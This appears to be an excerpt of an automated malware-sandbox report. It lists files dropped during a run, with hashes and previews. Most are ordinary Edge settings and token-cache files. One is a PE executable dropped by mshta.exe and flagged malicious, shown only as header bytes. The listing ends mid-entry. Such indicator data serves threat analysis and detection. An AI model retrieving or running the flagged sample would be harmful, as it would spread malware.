Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF358fe.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58444
Entropy (8bit):	6.101676407533722
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynoCBS2qX7bRtPHgorQXdbiR3oM:z/0+zI7ynokS20htP0Xdbe3
MD5:	CF3A9CE3390629AD48D649B6053BBA71
SHA1:	F9FFE819B396AAAE9BCFDC29D2CDDEE241E3CEE0
SHA-256:	E8915C0F13792723EE80E95C3340F14DCD43CC51495BC732649E6BFAA46BC493
SHA-512:	3C0F16E9FDB13D78A1DC808E96F04437AB9C5E7155D74C26C762BF77E28492A2B9A54D084360B79E0EA8E8A127C2279C154BD308E1F6740FCA0737D992238AE3
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3c2b5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58444
Entropy (8bit):	6.101676407533722
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynoCBS2qX7bRtPHgorQXdbiR3oM:z/0+zI7ynokS20htP0Xdbe3
MD5:	CF3A9CE3390629AD48D649B6053BBA71
SHA1:	F9FFE819B396AAAE9BCFDC29D2CDDEE241E3CEE0
SHA-256:	E8915C0F13792723EE80E95C3340F14DCD43CC51495BC732649E6BFAA46BC493
SHA-512:	3C0F16E9FDB13D78A1DC808E96F04437AB9C5E7155D74C26C762BF77E28492A2B9A54D084360B79E0EA8E8A127C2279C154BD308E1F6740FCA0737D992238AE3
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a05de06c-b589-4804-a2f6-ac0a87e5335d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	60154
Entropy (8bit):	6.102026835795035
Encrypted:	false
SSDEEP:	1536:2Mk1rT8HD4XfCBS2qX7bW43ongorQXdbik:2MYrT8jOkS20hDXdbr
MD5:	4848A74A6B061E280FD5931FC9899337
SHA1:	71ECC304984D2A02B96FD8D0072636A7F12BB206
SHA-256:	8E03FE0DB01DB6FC5A9B36B6BF44ACD35B4D85571183302AC189B7DE6EEDD168
SHA-512:	AB61AB76ABC0D5206BAD2C6A520D3465E0449E3F054F9390C4BD4E378A4D2DA7B88CBE225168327BCC848A0F8050FF213381115B8769EEA8425C8A548F60C843
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1734939605"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\b7e5cfe7-0e5b-4d5e-81a6-0601292e5d14.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	58876
Entropy (8bit):	6.104665812125494
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynqOCBS2qX7b9wgorQXdbiR3oM:z/0+zI7ynTkS207Xdbe3
MD5:	756768BAEA7827431B8F522A8795DAA1
SHA1:	25849E7ADAACB22E529D8D5580471B1F4BC7CFD9
SHA-256:	CD43A007552CC86DC1A1898E5924C5E41846638AF01C8FB513977935CB2FD893
SHA-512:	314B7EAFAABB99E912A4A7E919A651145F17D6265B067203030FF0EF05125229D39A0270056DD449FBED76F71F4A93818EE718F2B3B913CFAAC5DBB7C7982E5C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\c1ca1122-c9b3-48ec-b3f9-955dd203b688.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58876
Entropy (8bit):	6.104665812125494
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynqOCBS2qX7b9wgorQXdbiR3oM:z/0+zI7ynTkS207Xdbe3
MD5:	756768BAEA7827431B8F522A8795DAA1
SHA1:	25849E7ADAACB22E529D8D5580471B1F4BC7CFD9
SHA-256:	CD43A007552CC86DC1A1898E5924C5E41846638AF01C8FB513977935CB2FD893
SHA-512:	314B7EAFAABB99E912A4A7E919A651145F17D6265B067203030FF0EF05125229D39A0270056DD449FBED76F71F4A93818EE718F2B3B913CFAAC5DBB7C7982E5C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ce8f28bd-1f8a-4bc0-8544-639512924a4f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58444
Entropy (8bit):	6.101676407533722
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynoCBS2qX7bRtPHgorQXdbiR3oM:z/0+zI7ynokS20htP0Xdbe3
MD5:	CF3A9CE3390629AD48D649B6053BBA71
SHA1:	F9FFE819B396AAAE9BCFDC29D2CDDEE241E3CEE0
SHA-256:	E8915C0F13792723EE80E95C3340F14DCD43CC51495BC732649E6BFAA46BC493
SHA-512:	3C0F16E9FDB13D78A1DC808E96F04437AB9C5E7155D74C26C762BF77E28492A2B9A54D084360B79E0EA8E8A127C2279C154BD308E1F6740FCA0737D992238AE3
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ea49cc97-61dc-4f30-a2af-81c70076bd22.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	60077
Entropy (8bit):	6.10190953579711
Encrypted:	false
SSDEEP:	1536:2Mk1rT8H1nXRCBS2qX7bW43ongorQXdbik:2MYrT8VBkS20hDXdbr
MD5:	764FC99396123BF4A2B7512B80AA89D4
SHA1:	5D36B3779D71DC5E39C31F63F969603140B5DACE
SHA-256:	CA82B1B1D7ABE9BB65673DC9C74B1AB29218E1471A88FACB3E5123CA1ADE39E5
SHA-512:	B79C2D39C0EAA81B704FA5DD2A0125B366DC4E3DE9D0FFA01C3B2B3C5BDDBCC83C88674F7429A352CADAEEAB62D95A5097B558F52FBDFD4D020947B839BE3D82
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1734939605"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8565429966261497
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxawxl9Il8uKflO9oWa01THh+62EhH1qoIzs+d1rc:mPcYcflO9Ra019V9IzM
MD5:	599A1AF7803B29DB4329DB2C39EB8F8C
SHA1:	2AAC0711BE6FAC2A3573248FF0884FD9F8994118
SHA-256:	B7102C1BEAF41D85F3B0B0F16768842FB25460A6D0F41A2F863F11E83F3DE294
SHA-512:	5032CE0B8C80AC2E4BEAC1AD5ED5B9F4967B512D615DAB8E516AEC52BA8AE24169016EDF8F204A65E86A4898B612DA01DE42D4A479597188AA16851F7CD724D4
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.H.N.y.Q.h.Z.V.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.v.D.B.7.R.2.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.9919338198300425
Encrypted:	false
SSDEEP:	96:RYcflO9bH42aSq1HzNj9UdqU+9fg3efl5OhkSNSgfj4l:RBNOJH4bSq1BRUdc9YuDZ0SJ
MD5:	F8B676EC56E7AFB9D340D9A28A77E26F
SHA1:	A24370998C3AB6C5D6D5C2F08F89D86B5D8A822D
SHA-256:	8CF23BBD0562127617EA9A3D19F119FAFF64583B61F420BBC544F308F0C6873E
SHA-512:	FC09B66C15BA50815101CF6F3C720B33F48E49A90BFE343FFA81C31826059E55A392B6204E02C202EE7418C8EE91053059D4F6BFCE0987BF3AED6887CE01036E
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.v.9.2.K.A.5.V.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.v.D.B.7.R.2.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.9060310809205383
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7x2xl9Il8uKflO9nZX3/pOs2ailD/LB2eJOmJMPFsQOGGhKqd/vc:acYcflO9ZXEs2RlDV2HGcAa
MD5:	8533768A368D18861061E5389AFB4C24
SHA1:	80C992512FE6EFEFE4D5FAB434B79ECFB36EC00B
SHA-256:	EB7197D114E8DD112CCFD2208178FB410C8F551653168AE56A7F65E802AA1E7B
SHA-512:	9FC1ADE943C83AC76DE1DAB04B918A9DB05CC6E8A23FD6D3320ACBEB505F9E2851F57C713559F9C0161D900E751E2EA7C944AAFD2E96668072008DF8CF6FBA20
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.C.Z.q.W.N.9.z.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.v.D.B.7.R.2.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\HA_19-12NGHEP_anh[1]

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	77766
Entropy (8bit):	5.085213444703186
Encrypted:	false
SSDEEP:	768:fsnZcnsXsnZcnsTKSfhJhzgaMIKDME37isnZcnsZCsnZcns:EZcbZcMKSfhJhzgaMIKDME37nZcCZc
MD5:	ABE2BD08E081BA0E6BD0A645A7A09FAC
SHA1:	037D5741BBC3615A62C6E17813D01B09134A6A6B
SHA-256:	75074080DF3E944DE6A3EB967DC7FF44ABBB9265E3CA22DA6838237AB7412D17
SHA-512:	9F0342B33410E641DD1F8018DFAC50D47894C1AC747BE20DFB1EAFF5089A1CBCD1AEB65EE9B78F7FD7337814AA0B0E12D941BBF02CCB5A45E0807B99B84EFF1A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 53%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..W..W..C...V..C...U..C...C..C...P..W..s..C...V..C.\|.V..C...V..RichW..........................PE..L...C.05............................@........ ....@..........................`......._....@...... ...........................0..P....@.......................P..@.......T............................................0...............................text...t........................... ..`.data...p.... ......................@....idata.......0......................@..@.rsrc........@......................@..@.reloc..@....P.......&..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
